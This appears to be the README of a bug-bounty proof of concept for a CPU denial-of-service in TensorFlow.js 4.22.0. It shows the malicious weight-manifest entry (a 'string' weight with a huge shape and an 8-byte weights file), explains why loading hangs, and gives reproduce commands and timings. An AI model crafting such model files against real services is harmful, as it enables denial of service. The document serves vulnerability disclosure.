File size: 1,956 Bytes
32810b6 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | # TensorFlow.js string weight metadata DoS PoC
This repository contains a minimal TensorFlow.js model-file-format PoC for a CPU denial-of-service in `@tensorflow/tfjs` 4.22.0.
The malicious model is a valid one-layer Dense LayersModel plus one extra unused weight manifest entry:
```json
{
"name": "unused_extra_string",
"shape": [50000000],
"dtype": "string"
}
```
The weights file is only 8 bytes. Loading the model with `tf.loadLayersModel()` decodes every weight spec before strict model-weight matching rejects extras. For `dtype: "string"`, `tf.io.decodeWeights()` loops over `sizeFromShape(spec.shape)` while trying to read per-string length headers. With a large shape and truncated/empty string data, the Node.js event loop is tied up until an external watchdog kills the process.
## Reproduce
```bash
npm ci
npm run repro
```
Expected result:
- `control_valid_model`: loads and predicts `7` in about 10 ms.
- `numeric_extra_float32_control`: rejects the extra large numeric weight in about 15 ms.
- `malicious_extra_string_dos`: does not return before the 3 second watchdog and is killed with `ETIMEDOUT` / `SIGKILL`.
For a shorter local demo:
```bash
npm run repro:small
```
## Files
- `repro_tfjs_string_weight_dos.js` - standalone reproducer and watchdog.
- `models/` - control, numeric-control, and malicious TF.js `model.json` / `weights.bin` files.
- `evidence/tfjs-string-weight-dos-repro-2026-06-23-132907011.json` - recorded reproduce run.
- `evidence/tfjs-string-weight-timing-2026-06-23-132953595.json` - timing curve showing string weights scale linearly while numeric weights reject immediately.
- `source/` - local source excerpts from the installed 4.22.0 package.
- `duplicate-check.md` - local, dashboard, and public Huntr duplicate gate notes.
- `report.md` - Huntr report body.
- `SHA256SUMS` - hashes for all package files.
## Environment
- Node.js `v20.20.2`
- npm `10.8.2`
- `@tensorflow/tfjs` `4.22.0`
|